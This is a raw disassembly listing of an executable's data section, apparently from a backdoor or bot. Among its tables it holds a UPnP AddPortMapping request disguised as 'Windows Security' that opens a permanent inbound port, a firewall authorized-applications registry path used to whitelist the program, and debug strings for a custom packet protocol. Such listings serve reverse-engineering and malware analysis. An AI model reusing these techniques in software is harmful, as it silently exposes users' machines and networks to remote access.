aPostSHttp1_1Ho	db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo
					; sub_443817+7Fo
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1_1H	db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o
					; sub_443817+58o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXmlns	db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao
					; sub_443817+1Ao
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200		db '200',0              ; DATA XREF: sub_4025A9:loc_402838o
					; sub_44352A:loc_4437B9o
asc_40F5F0	db 0Ah,0		; DATA XREF: sub_4025A9:loc_402809o
					; sub_402896:loc_402A56o ...
aHttpDiscover_0	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_4025A9+234o
					; sub_44352A+234o
aGetSHttp1_1Hos	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o
					; sub_44352A+173o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscoveryR	db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao
					; sub_44352A+10Ao
aHttp		db 'http://',0          ; DATA XREF: sub_4025A9+25o
					; sub_402B02+4A1o ...
a_		db '.',0                ; DATA XREF: sub_402562:loc_402584o
					; sub_4434E3:loc_443505o
a6ea9b038C8014f	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o
					; sub_402449+5o ...
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_402296+8Eo
					; DMN0:00402373o ...
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aNts		db 'NTS',0              ; DATA XREF: sub_402296+6Do
					; sub_404CB8+19o ...
aEnabled	db ':*:Enabled:',0      ; DATA XREF: sub_402296+5Ao
					; sub_4057FF+28o ...
aHandshakeBadVe	db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o
					; DMN1:00442E09o
aHandshakeBadPa	db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o
					; sub_408240+91r ...
aHandshakeRecvE	db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o
					; DMN1:00442DD4o
aProtorecvDataS	db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do
					; sub_442B2D+12Do ...
aPktrecvPacketi	db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo
					; sub_442B2D+DEo
aPktrecvInvalid	db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o
					; sub_442B2D+86o
aPktsendIIBytes	db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o
					; sub_442A5B+68o
aSIsS		db '%s is %s',0Ah,0     ; DATA XREF: DMN0:004018A6o
					; DMN1:00442827o
aWinsock2_xInit	db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co
					; sub_44226D:loc_4422BDo ...
aWinsock1_1Init	db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo
					; sub_44226D:loc_4422B0o
aA		db 'a',0                ; DATA XREF: DMN0:004011E9o
					; DMN1:0044216Ao
aPm		db 'PM',0               ; DATA XREF: DMN0:loc_401190o
					; DMN1:loc_442111o
aAm		db 'AM',0               ; DATA XREF: DMN0:00401189o
					; DMN1:0044210Ao
a02i02i02iIIIS	db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o
					; DMN1:00442145o ...
aS_0		db '%s',0               ; DATA XREF: DMN0:0040112Bo
					; DMN0:00401147o ...
		align 4
dword_40F864	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4070F0+5o
					; sub_448071+5o
		dd offset sub_40715A
dword_40F870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407300+5o
					; sub_448281+5o
		dd offset sub_40735B
dword_40F87C	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407400+5o
					; sub_448381+5o
		dd offset sub_40745E
dword_40F888	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407560+5o
					; sub_4484E1+5o
		dd offset sub_4075AD
dword_40F894	dd 0FFFFFFFFh, 4078C8h,	4078E3h	; DATA XREF: sub_407870+5o
					; DMN1:004487F6o
dword_40F8A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4079E0+5o
					; sub_448961+5o
		dd offset sub_407A5D
dword_40F8AC	dd 0FFFFFFFFh, 407B85h,	407BA0h, 4000h ; DATA XREF: sub_407AA0+5o
					; DMN1:00448A26o
dword_40F8BC	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4081A0+5o
					; sub_449121+5o
		dd offset sub_4081FE
		dd offset loc_40832C
		dd offset loc_4082E2
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
off_40F8EC	dd offset loc_40831F	; DATA XREF: sub_408240+2Er
					; sub_4491C1+2Er
		dd offset loc_4082E2
		dd offset loc_4082F2
		dd offset loc_4082F2
		dd offset loc_408360
		dd offset loc_408312
		dd offset loc_408339
		dd offset loc_408302
		dd offset loc_408302
		dd offset loc_408302
		dd offset loc_4082E2
		dd offset loc_408353
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082F2
		dd offset loc_408312
		dd offset loc_408387
		dd offset loc_4082F2
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_408312
		dd offset loc_4082E2
		dd offset loc_408312
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082F2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_408312
		dd offset loc_4082E2
		dd offset loc_4082F2
		dd offset loc_408312
		dd offset loc_40837A
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_40836D
		dd offset loc_4082E2
		dd offset loc_408339
		dd offset loc_408346
		dd offset loc_408346
		dd offset loc_408339
		dd offset loc_4082E2
		dd offset loc_408312
		dd offset loc_40832C
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_408353
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082F2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_4082E2
		dd offset loc_40831F
dword_40FAB0	dd 232D2B20h, 30h	; DATA XREF: sub_4087E0+E4o
					; sub_4087E0+FDo ...
dword_40FAB8	dd 1, 2, 4, 8, 10h, 0	; DATA XREF: sub_4087E0+EDr
					; sub_449761+EDr
aHjltzl		db 'hjltzL',0           ; DATA XREF: sub_4087E0+1CDo
					; sub_449761+1CDo
		align 4
aConin		db 'CONIN$',0           ; DATA XREF: DMN0:00408AAEo
					; DMN1:00449A2Fo
aConout		db 'CONOUT$',0          ; DATA XREF: sub_408A60+1Eo
					; sub_4499E1+1Eo
		align 4
dword_40FAE8	dd 0			; DATA XREF: sub_408B20+24o
					; sub_449AA1+24o
		dd 0FFFFFFFFh, 11h dup(0)
dword_40FB34	dd 0			; DATA XREF: DMN0:off_411894o
dword_40FB38	dd 0			; DATA XREF: sub_409950+36r
					; sub_409950+18Br ...
dword_40FB3C	dd 0			; DATA XREF: sub_409950+3Cr
					; sub_409950+191r ...
		db 2 dup(0)
word_40FB42	dw 200h			; DATA XREF: DMN0:off_411898o
		dd 4 dup(100010h), 300130h, 300030h, 100030h, 8	dup(100010h)
		dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h
		dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h)
dword_40FBDC	dd 80008h		; DATA XREF: sub_409C30+55r
					; sub_44ABB1+55r
aAaaaaa:
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		unicode	0, <€€€€€€>
		dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h)
dword_40FC40	dd 10h,	40h dup(0)	; DATA XREF: sub_409C30+18r
					; sub_44ABB1+18r
		dd offset loc_40A007
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A007
		dd offset loc_40A007
		dd offset loc_40A007
		dd offset loc_40A007
		dd offset loc_40A337
		dd offset loc_409C8C
		dd offset loc_409CFB
		dd offset loc_40A007
		dd offset loc_40A007
		dd offset loc_40A007
		dd offset loc_40A337
		dd offset loc_409CFB
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A0C9
		dd offset loc_409E93
		dd offset loc_40A201
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_40A25F
		dd offset loc_40A337
		dd offset loc_409E93
		dd offset loc_40A337
		dd offset loc_40A337
		dd offset loc_409E93
dword_40FDC0	dd 6C756E28h, 296Ch	; DATA XREF: sub_409C30+661o
					; sub_44ABB1+661o
asc_40FDC8	db '                                ',0 ; DATA XREF: sub_40A370+54o
					; sub_40A370+23Do ...
a00000000000000	db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A370+D8o
					; sub_40A370+15Co ...
		align 4
dword_40FE0C	dd 0			; DATA XREF: sub_40A5E0+Dr
					; sub_44B561+Dr
		dd 0
		dd 1, 2
		db 2 dup(0)
word_40FE1E	dw 0E000h		; DATA XREF: DMN0:004118A4o
					; DMN0:004118E4o ...
		dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h
		dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h
		dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh
		dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h
		dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h
		dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh
		dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h
		dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh
		dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h
		dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h
		dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh
		dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h
		dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h
		dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh
		dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h
		dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh
		dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h
		dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h
		dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh
		dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h
		dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h
		dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh
		dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h
		dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh
		dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h
		dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh
aNull:					; DATA XREF: sub_40AEB0+81o
					; sub_44BE31+81o
		unicode	0, <(null)>,0
		align 10h
a0123456789ab_0	db '0123456789abcdef',0 ; DATA XREF: sub_40B000:loc_40B018o
					; sub_44BF81:loc_44BF99o
a0123456789abcd	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B000+Fo
					; sub_44BF81+Fo
		align 4
dbl_410054	dq 1.0e1		; DATA XREF: sub_40B250+3E4r
					; sub_40B250+42Dr ...
		dd 0
		dd 40590000h, 0
		dd 40C38800h, 0
		dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h,	4693B8B5h
		dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch
		dd 75154FDDh
dbl_41009C	dq 1.0e8		; DATA XREF: sub_40B250+4B5r
					; sub_44C1D1+4B5r
dbl_4100A4	dq 1.0			; DATA XREF: sub_40B250+403r
					; sub_44C1D1+403r
dbl_4100AC	dq 0.0			; DATA XREF: sub_40B250+1BCr
					; sub_40B250+28Ar ...
a0123456789ab_2	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B250:loc_40B3D4o
					; sub_44C1D1:loc_44C355o
a0123456789ab_1	db '0123456789abcdef',0 ; DATA XREF: sub_40B250+17Bo
					; sub_44C1D1+17Bo
off_4100D6	dd offset byte_464E49	; DATA XREF: sub_40B250:loc_40B33Co
					; sub_44C1D1:loc_44C2BDo
word_4100DA	dw 6E69h		; DATA XREF: sub_40B250:loc_40B333o
					; sub_44C1D1:loc_44C2B4o
		db 66h,	0
word_4100DE	dw 414Eh		; DATA XREF: sub_40B250:loc_40B2EAo
					; sub_44C1D1:loc_44C26Bo
byte_4100E0	db 4Eh,	0		; DATA XREF: sub_40BCC0+5Br
					; sub_44CC41+5Br
word_4100E2	dw 616Eh		; DATA XREF: sub_40B250:loc_40B2E1o
		dd 6Eh,	40BD48h, 40BD63h, 40BD3Fh, 40BD63h, 40BD2Ah, 40BD63h
		dd 40BD36h, 2 dup(40BD63h), 40BD51h
aTerminating	db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BCC0+10Do
					; sub_44CC41+10Do
aSignal		db 'signal #',0         ; DATA XREF: sub_40BCC0+EAo
					; sub_44CC41+EAo
aTerminationReq	db 'termination request',0 ; DATA XREF: sub_40BCC0:loc_40BD5Ao
					; sub_44CC41:loc_44CCDBo
aInvalidStorage	db 'invalid storage access',0 ; DATA XREF: sub_40BCC0+91o
					; sub_44CC41+91o
aInterruption	db 'interruption',0     ; DATA XREF: sub_40BCC0+88o
					; sub_44CC41+88o
aInvalidExecuta	db 'invalid executable code',0 ; DATA XREF: sub_40BCC0+7Fo
					; sub_44CC41+7Fo
aArithmeticErro	db 'arithmetic error',0 ; DATA XREF: sub_40BCC0+76o
					; sub_44CC41+76o
aAbort		db 'abort',0            ; DATA XREF: sub_40BCC0+6Ao
					; sub_44CC41+6Ao
		align 4
dword_410194	dd 0			; DATA XREF: sub_40BEE0+23r
					; sub_40BEE0+10Fr ...
dword_410198	dd 0			; DATA XREF: sub_40BEE0+29r
					; sub_40BEE0+115r ...
		align 10h
dword_4101A0	dd 30h			; DATA XREF: sub_40C3B0+1Eo
					; sub_44D331+1Eo
byte_4101A4	db 0			; DATA XREF: DMN0:004119A4o
					; DMN0:004119A8o ...
byte_4101A5	db 2Eh,	2 dup(0)	; DATA XREF: DMN0:off_4119D0o
		dd 0
dword_4101AC	dd 395h	dup(0)		; DATA XREF: sub_407AA0+73o
					; sub_407AA0:loc_407B1Fo ...
dword_411000	dd 1			; DATA XREF: sub_40122A:loc_401237w
					; sub_40122A+13r ...
dword_411004	dd 0			; DATA XREF: sub_403C3F+66r
					; sub_403C3F+86w ...
dword_411008	dd 0			; DATA XREF: sub_40238A+7r
					; sub_40238A+43w ...
dword_41100C	dd 0			; DATA XREF: sub_40356A+2Ar
					; sub_40356A:loc_4035CDr ...
dword_411010	dd 0			; DATA XREF: sub_40356A+1Er
					; sub_40356A+46r ...
dword_411014	dd 0			; DATA XREF: sub_40399A+189o
					; sub_403C3F+317o ...
dword_411018	dd 0			; DATA XREF: sub_403604+1r
					; sub_403604+1Fw ...
dword_41101C	dd 0			; DATA XREF: DMN0:004036A3r
					; DMN0:004036C1w ...
		dd 0
dword_411024	dd 0			; DATA XREF: sub_40356A+58o
					; sub_40356A+86o ...
dword_411028	dd 0			; DATA XREF: sub_40410E+1r
					; sub_40410E+1Fw ...
dword_41102C	dd 0			; DATA XREF: sub_404967+16Fo
					; sub_404967+22Co ...
dword_411030	dd 0			; DATA XREF: sub_40400E+32r
					; sub_40400E+9Br ...
byte_411034	db 5Ah			; DATA XREF: sub_4041FB+19r
					; sub_44517C+19r
		db 3 dup(5Bh)
		dd 5B5B5B5Bh, 5B5Bh
dword_411040	dd 0			; DATA XREF: DMN0:00405B1Fw
					; DMN1:00446AA0w
dword_411044	dd 2 dup(0)		; DATA XREF: DMN0:00405A0Bo
					; DMN1:0044698Co
dword_41104C	dd 0			; DATA XREF: sub_405CF6+Bw
					; sub_405CF6+25r ...
dword_411050	dd 0			; DATA XREF: sub_405EFE+Dr
					; sub_405EFE+B9w ...
dword_411054	dd 0			; DATA XREF: sub_405DF3+Cr
					; sub_405DF3+15r ...
dword_411058	dd 0			; DATA XREF: sub_40637D+Fo
					; sub_4472FE+Fo
dword_41105C	dd 0			; DATA XREF: sub_407400+35r
					; sub_407400+3Ew ...
dword_411060	dd 0			; DATA XREF: sub_4079E0+45r
					; sub_4079E0+62r ...
		dd 4Fh dup(0)
dword_4111A0	dd 50h			; DATA XREF: sub_4079E0:loc_407A17r
					; sub_4079E0+3Fw ...
dword_4111A4	dd 0			; DATA XREF: sub_4079E0:loc_407A37r
					; sub_4079E0+5Dw ...
dword_4111A8	dd 0			; DATA XREF: sub_406D70+18Ew
					; sub_406D70+1B1r ...
		dd 6 dup(0)
		dd 95FFF8h, 0
dword_4111CC	dd 95FFFCh		; DATA XREF: sub_4070F0+38r
					; sub_407BD0+8Br ...
dword_4111D0	dd 950004h		; DATA XREF: sub_4070F0+30r
					; sub_407BD0+C1r ...
dword_4111D4	dd 950000h		; DATA XREF: sub_407BD0+97r
					; sub_407BD0:loc_407C74r ...
dword_4111D8	dd 8			; DATA XREF: sub_406D70+66r
					; sub_406D70+10Br ...
dword_4111DC	dd 10h			; DATA XREF: sub_406D70+5Dr
					; sub_406D70+FEr ...
dword_4111E0	dd 20h			; DATA XREF: sub_406D70:loc_406DE8r
					; sub_406D70+121r ...
dword_4111E4	dd 40h			; DATA XREF: sub_406D70+54r
					; sub_406D70+F1r ...
dword_4111E8	dd 80h			; DATA XREF: sub_406D70+99r
					; sub_406D70+14Ar ...
dword_4111EC	dd 100h			; DATA XREF: sub_406D70:loc_406E00r
					; sub_406D70+13Dr ...
dword_4111F0	dd 200h			; DATA XREF: sub_406D70:loc_406E1Er
					; sub_406D70+163r ...
		dd 400h
dword_4111F8	dd 7			; DATA XREF: sub_406D70+19Cr
					; sub_406D70:loc_406F16w ...
dword_4111FC	dd 7			; DATA XREF: sub_406D70+361w
					; sub_407BD0+175w ...
dword_411200	dd 19930520h, 3	dup(0)	; DATA XREF: DMN0:00408582o
					; sub_408589+2o ...
off_411210	dd offset dword_41283C	; DATA XREF: sub_4086A0r
					; sub_4086E0:loc_4086E6r ...
off_411214	dd offset dword_412824	; DATA XREF: sub_4086A0+Cr
					; sub_4086E0+38r ...
off_411218	dd offset dword_41280C	; DATA XREF: sub_4086A0+18r
					; sub_4086E0+44r ...
off_41121C	dd offset dword_4127F4	; DATA XREF: sub_4086A0+24r
					; sub_4086E0+50r ...
		dd 5 dup(0)
dword_411234	dd 0			; DATA XREF: sub_408A60r sub_408A60+9r ...
dword_411238	dd 0			; DATA XREF: DMN0:00408A90r
					; DMN0:00408A99r ...
		dd 14h dup(0)
dword_41128C	dd 1, 0			; DATA XREF: DMN0:off_411370o
		dd offset byte_4112D4
		dd offset byte_4112D5
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset dword_4112B4
		dd 0
dword_4112B4	dd 8 dup(0)		; DATA XREF: DMN0:004112ACo
byte_4112D4	db 0			; DATA XREF: DMN0:00411294o
					; DMN0:0041129Co ...
byte_4112D5	db 3 dup(0)		; DATA XREF: DMN0:00411298o
dword_4112D8	dd 802h, 1, 411320h, 411321h, 4	dup(411320h), 411300h
					; DATA XREF: DMN0:00411374o
		dd 0Ah dup(0)
dword_411324	dd 802h, 2, 41123Ch, 41128Ch, 3	dup(41123Ch), 41136Ch
					; DATA XREF: sub_40BCC0+E5o
					; sub_40BCC0:loc_40BDB7o ...
		dd 41134Ch, 0Ah	dup(0)
off_411370	dd offset dword_41128C	; DATA XREF: sub_4073E0:loc_4073E3r
					; sub_407480:loc_4074ECr ...
		dd offset dword_4112D8
		dd offset dword_411324
		dd 0FDh	dup(0)
dword_411770	dd 11h			; DATA XREF: sub_407870+2Ar
					; sub_408FD0+Cw ...
dword_411774	dd 0C0000005h, 0Bh, 0C000001Dh,	4, 0C0000096h, 4, 0C000008Dh
					; DATA XREF: sub_4091A0+7o
					; sub_44A121+7o
		dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h,	8, 0C0000091h
		dd 8, 0C0000092h, 8, 0C0000093h, 8
dword_4117C4	dd 1			; DATA XREF: sub_4091A0:loc_4091F2o
					; sub_409710+82w ...
dword_4117C8	dd 95005Ch		; DATA XREF: sub_409710+87w
					; sub_44A691+87w
		align 10h
dword_4117D0	dd 950078h		; DATA XREF: sub_4097B0+55w
					; sub_4097B0+5Ar ...
		align 8
dword_4117D8	dd 950000h		; DATA XREF: sub_4098B0+Cr
					; sub_4098B0+2Aw ...
dword_4117DC	dd 2000000h		; DATA XREF: sub_407AA0+31w
					; sub_4098B0+1Cr ...
dword_4117E0	dd 400h			; DATA XREF: sub_407BD0+2Ew
					; sub_4081A0+2Dr ...
dword_4117E4	dd 2Ch dup(0)		; DATA XREF: sub_409060+16o
					; sub_409100+5Co ...
off_411894	dd offset dword_40FB34	; DATA XREF: sub_4097B0+16r
					; sub_4097B0+A2r ...
off_411898	dd offset word_40FB42	; DATA XREF: sub_4087E0+160r
					; sub_4087E0+1BBr ...
dword_41189C	dd 0			; DATA XREF: sub_40AD50+99r
					; sub_40AD50:loc_40AE08w ...
byte_4118A0	db 3			; DATA XREF: sub_40AEB0+2Ar
					; sub_40BEE0+14Ar ...
		align 4
		dd offset word_40FE1E
		dd 0Fh dup(0)
		dd offset word_40FE1E
		dd 0Fh dup(0)
off_411924	dd offset word_40FE1E	; DATA XREF: sub_409950+20r
					; sub_409950+19Cr ...
		dd 0Fh dup(0)
off_411964	dd offset word_40FE1E	; DATA XREF: sub_40BEE0+13Cr
					; sub_44CE61+13Cr
		dd 0Fh dup(0)
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd offset byte_4101A4
		dd 3 dup(7F7F7F7Fh), 7F7Fh
off_4119D0	dd offset byte_4101A5	; DATA XREF: sub_40C3B0+7r
					; sub_44D331+7r
		dd offset byte_4101A4
		dd offset byte_4101A4
dbl_4119DC	dq 1.797693134862316e308 ; DATA	XREF: sub_40CF90+8Ar
					; sub_40CF90:loc_40D027r ...
		dd 0
		dd 7FF80000h, 0
		dd 3C900000h, 0
		dd 3E400000h, 0
		dd 40320000h, 2	dup(0)
		dd 11A84h, 2 dup(0)
		dd 122AEh, 11CC4h, 11BE4h, 2 dup(0)
		dd 124B2h, 11E24h, 11C48h, 2 dup(0)
		dd 1251Ch, 11E88h, 11CA8h, 2 dup(0)
		dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0)
		dd 12598h, 11EF0h, 5 dup(0)
		dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h
		dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h
		dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh
		dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh
		dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh
		dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h
		dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh
		dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h
		dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h
		dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh
		dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h
		dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h
		dd 127BAh, 127CCh, 127D8h, 0
		dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh
		dd 1234Ah, 1235Ah, 1236Ch, 1237Ch, 12392h, 123A8h, 123C0h
		dd 123D8h, 123E8h, 123FAh, 1240Ah, 1241Eh, 12432h, 12450h
		dd 1246Eh, 12486h, 1249Ah, 0
		dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h
		dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h
		dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h
		dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh
		dd 80000014h, 80000011h, 8000006Fh, 0
		dd 12528h, 0
		dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0
dword_411CC4	dd 77E7751Ah		; DATA XREF: sub_401001:loc_40100Br
					; sub_402562+6r ...
dword_411CC8	dd 77E79908h		; DATA XREF: sub_40103C+5r
					; sub_401097+5r ...
dword_411CCC	dd 77F7E21Fh		; DATA XREF: sub_401048+9r
					; sub_401076+5r ...
dword_411CD0	dd 77F7E300h		; DATA XREF: sub_401048+23r
					; sub_401076+1Ar ...
dword_411CD4	dd 77E79C3Dh		; DATA XREF: DMN0:004010C1r
					; sub_4092A0+1B2r ...
dword_411CD8	dd 77E70F89h		; DATA XREF: DMN0:0040117Cr
					; DMN1:004420FDr
